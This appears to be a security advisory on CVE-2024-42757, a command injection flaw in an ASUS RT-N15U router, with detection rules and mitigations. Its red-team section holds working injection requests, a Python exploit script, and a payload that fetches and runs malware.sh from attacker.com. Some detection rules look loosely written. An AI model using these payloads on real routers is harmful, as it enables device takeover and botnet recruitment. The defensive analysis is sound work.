CVE-2024-42757

Executive Summary

CVE-2024-42757 is a critical command injection vulnerability discovered in the ASUS RT-N15U wireless router running firmware version 3.0.0.4.376_3754. The flaw resides in the netstat function page of the router’s web management interface. An unauthenticated, remote attacker can exploit this vulnerability to execute arbitrary operating system commands with root-level privileges on the device. Given the router’s role as a network gateway, successful exploitation can lead to full device compromise, network pivoting, data exfiltration, and inclusion in botnets. No official patch has been released by ASUS at the time of this analysis, and the device is likely end-of-life (EOL).

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (ASUS RT-N15U router). The supply chain risk is limited to the device’s firmware distribution channel; however, since the device is EOL, no official updates are expected, making all units in the field permanently vulnerable.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full file system and network access possible.
• Integrity (I): High – Arbitrary commands can be executed.
• Availability (A): High – Device can be bricked or used in DDoS attacks.

Threat Level: Critical. The combination of remote, unauthenticated exploitation with no user interaction makes this a high-priority target for mass exploitation, especially by IoT botnets (e.g., Mirai variants).

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the router’s web server. The netstat function page is designed to display network statistics. The web application likely passes user-supplied parameters (e.g., IP address, interface name) directly to a shell command without proper sanitization.

Root Cause: The application constructs a command string by concatenating user input with a system command like netstat -an | grep [USER_INPUT]. An attacker can inject shell metacharacters (e.g., ;, |, &&, `) to break out of the intended command and execute arbitrary code.

Attack Vector: An HTTP GET or POST request to the vulnerable endpoint (e.g., /netstat.asp or similar) with a crafted parameter.

Example vulnerable request:

GET /netstat.asp?interface=;id HTTP/1.1
Host: 192.168.1.1

The server would execute something like:

netstat -i ;id

This would first run netstat -i and then execute the id command, returning the output to the attacker.

Impact: Full remote code execution as root. The attacker can:

• Install persistent malware (e.g., Mirai, Gafgyt).
• Exfiltrate configuration files (Wi-Fi passwords, admin credentials).
• Use the device as a proxy or part of a botnet.
• Modify firewall rules to allow further access.
• Brick the device by deleting critical files.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern.

Vulnerable Code (Conceptual C/CGI):

void handle_netstat(char *interface) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "netstat -i %s", interface);
    system(cmd);
}

Patched Code (Conceptual):

void handle_netstat(char *interface) {
    // Whitelist allowed characters
    if (!is_valid_interface(interface)) {
        return_error("Invalid interface");
        return;
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "netstat -i %s", interface);
    system(cmd);
}

The patched version would validate the input against a strict whitelist (e.g., only alphanumeric characters and hyphens) before passing it to system(). Alternatively, using execvp() with a fixed argument list would eliminate the injection vector entirely.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• ASUS RT-N15U with firmware 3.0.0.4.376_3754.
• Network access to the router’s web interface (default IP: 192.168.1.1).
• A tool like curl, netcat, or a Python script.

Exploit Steps:

1. Identify the vulnerable endpoint. The netstat function is typically accessed via a page like /netstat.asp or /Advanced_Netstat.asp. Use a web fuzzer or manual inspection.

2. Craft the injection payload. Use shell metacharacters to inject commands. For example, to execute id and ls:

   ;id;ls
   

3. Send the malicious request.

   curl -v "http://192.168.1.1/netstat.asp?interface=;id"
   

4. Observe the output. The response should contain the output of the id command (e.g., uid=0(root) gid=0(root)).

5. Establish persistence. Download and execute a reverse shell or a botnet binary.

   curl "http://192.168.1.1/netstat.asp?interface=;wget%20http://attacker.com/malware.sh%20-O%20/tmp/malware.sh;sh%20/tmp/malware.sh"
   

Full Exploit Script (Python):

import requests

target = "http://192.168.1.1"
cmd = "id;ls /tmp"
payload = f";{cmd}"

url = f"{target}/netstat.asp?interface={payload}"
try:
    r = requests.get(url, timeout=10)
    print(r.text)
except Exception as e:
    print(f"Error: {e}")

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual parameters in requests to /netstat.asp or similar endpoints.
• Look for shell metacharacters (;, |, &, `, $()) in HTTP request parameters.
• Use network intrusion detection systems (NIDS) to alert on patterns like interface=; or interface=|.

Honeypot Strategy:

• Deploy a low-interaction honeypot mimicking the ASUS RT-N15U web interface.
• Log all requests to the netstat endpoint and analyze for injection attempts.

Mitigation (Temporary):

• Disable remote management (WAN access to the web interface).
• Restrict access to the web interface to trusted IPs only.
• If possible, replace the device with a supported model.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /netstat.asp or /Advanced_Netstat.asp containing shell metacharacters.
• Outbound connections from the router to unknown IPs on ports 80, 443, 6667 (IRC), or 31337.
• Unusual DNS queries from the router to known malware domains.

File System IOCs:

• Presence of files in /tmp/ with names like malware.sh, mirai, bot.
• Modified /etc/passwd or /etc/shadow (new user accounts).
• Unusual cron jobs in /etc/crontab or /var/spool/cron/.

Process IOCs:

• Running processes named mirai, gafgyt, bash (spawned by web server).
• High CPU usage from unknown processes.

YARA Rule:

rule CVE_2024_42757_Exploit_Attempt {
    meta:
        description = "Detects HTTP requests attempting to exploit CVE-2024-42757"
        author = "Valters IT"
        date = "2024-10-27"
    strings:
        $injection1 = "interface=;" ascii wide nocase
        $injection2 = "interface=|" ascii wide nocase
        $injection3 = "interface=&&" ascii wide nocase
        $injection4 = "interface=`" ascii wide nocase
        $endpoint = "/netstat.asp" ascii wide nocase
    condition:
        any of ($injection*) and $endpoint
}

Detection Engineering

YARA Rule (for PCAP or HTTP logs)

rule CVE_2024_42757_HTTP_Exploit {
    meta:
        description = "Detects CVE-2024-42757 command injection in HTTP requests"
        author = "Valters IT"
        date = "2024-10-27"
    strings:
        $uri = "/netstat.asp" ascii wide nocase
        $param = "interface=" ascii wide nocase
        $meta1 = ";" ascii wide
        $meta2 = "|" ascii wide
        $meta3 = "&" ascii wide
        $meta4 = "`" ascii wide
        $meta5 = "$(" ascii wide
    condition:
        $uri and $param and 1 of ($meta*)
}

Sigma Rule (for SIEM)

title: CVE-2024-42757 ASUS RT-N15U Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-42757 via HTTP request parameters
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "/netstat.asp"
        cs-uri-query|contains|all:
            - "interface="
            - ";"
    condition: selection
falsepositives:
    - Legitimate use of semicolons in parameters (unlikely)
level: critical

Suricata Rule (for NIDS)

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-42757 ASUS RT-N15U Command Injection Attempt";
    flow:to_server,established;
    content:"/netstat.asp"; http_uri;
    content:"interface="; http_uri;
    pcre:"/interface=[^&]*[;|&`$]/Ui";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Permanent Fix:

• No official patch is available. The device is EOL. Replace the ASUS RT-N15U with a supported router model.

Temporary Mitigations:

1. Disable Remote Management: Ensure the web interface is not accessible from the WAN side.
2. Restrict LAN Access: Use firewall rules to allow only trusted IPs to access the router’s web interface.
3. Change Default Credentials: Although not directly related, this reduces the risk of other attacks.
4. Monitor for Exploitation: Deploy the provided YARA, Sigma, and Suricata rules to detect attempts.
5. Network Segmentation: Place the router in a DMZ or isolated VLAN to limit blast radius.

Vendor Contact:

• ASUS has not released a patch. Users should pressure ASUS via support channels or consider legal action for selling an unpatched EOL device.

Valters IT
DevSecOps & Cyber Threat Intelligence